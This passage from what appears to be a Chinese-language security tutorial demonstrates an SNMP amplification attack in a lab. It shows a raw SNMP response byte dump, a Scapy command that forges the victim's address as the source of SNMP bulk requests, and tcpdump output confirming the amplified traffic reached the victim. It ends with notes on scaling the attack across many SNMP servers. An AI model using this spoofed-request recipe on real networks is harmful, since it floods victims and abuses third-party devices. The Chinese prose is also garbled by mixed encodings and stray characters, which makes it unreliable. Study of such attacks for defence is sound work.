x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\x070\ x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\x800\ x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\x01\x02\ x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x02B\ x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x05\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\x04\ x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x07\ x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x04\ x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x01\ x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\x04\ x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\x02\ x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\x01\ x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\x0b+\ x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\n+\x06\ x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\x02\x01\ x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\x02\x02\ x01\n\x01A\x04\x08OB_0\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\ x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\n\x02A\ x03\rIe0\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x05\x02\x03\ x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x01A\x03\x13\x14\ xde0\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x01\x02\x01\x000\ x10\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x02A\x02\x1e\xc10\x13\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x02\x02\x04\x00\x9f\xf6a0\x0f\ x06\n+\x06\x01\x02\x01\x02\x02\x01\x0c\x01A\x01\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x05\x03\x02\x01\x00' |>>>
為了實(shí)際將此命令用作攻擊粟耻,源 IP 地址需要更改為目標(biāo)系統(tǒng)的 IP 地址查近。 這樣,我們應(yīng)該能夠?qū)⑤d荷重定向給那個(gè)受害者挤忙。 這可以通過(guò)將 IP src
值更改為目標(biāo) IP 地址的字符串來(lái)完成:
>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist =[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1. 3.6.1.2.1.19.1.3'))])),verbose=1,count=2)
.
Sent 2 packets.
send()
函數(shù)應(yīng)該用于發(fā)送這些偽造請(qǐng)求霜威,因?yàn)轫憫?yīng)返回預(yù)期不會(huì)給本地接口。 要確認(rèn)載荷是否到達(dá)目標(biāo)系統(tǒng)册烈,可以使用 TCPdump 捕獲傳入流量:
admin@ubuntu:~$ sudo tcpdump -i eth0 -vv src 172.16.36.134
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468<asnlen2150]
13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 1480, flags [none], proto UDP (17), length 702) 172.16.36.134 > 172.16.36.135: udp
4 packets captured
4 packets received by filter
0 packets dropped by kernel
在所提供的示例中戈泼,TCPdump 配置為捕獲eth0
接口上,來(lái)自源IP地址172.16.36.134
(SNMP 主機(jī)的IP地址)的流量。
工作原理
放大攻擊的原理是利用第三方設(shè)備大猛,使網(wǎng)絡(luò)流量壓倒目標(biāo)扭倾。 對(duì)于多數(shù)放大攻擊,必須滿(mǎn)足兩個(gè)條件:
- 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
- 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求挽绩。
SNMP 放大攻擊的效率取決于 SNMP 查詢(xún)的響應(yīng)大小膛壹。 另外,可以通過(guò)使用多個(gè) SNMP 服務(wù)器來(lái)增加攻擊的威力唉堪。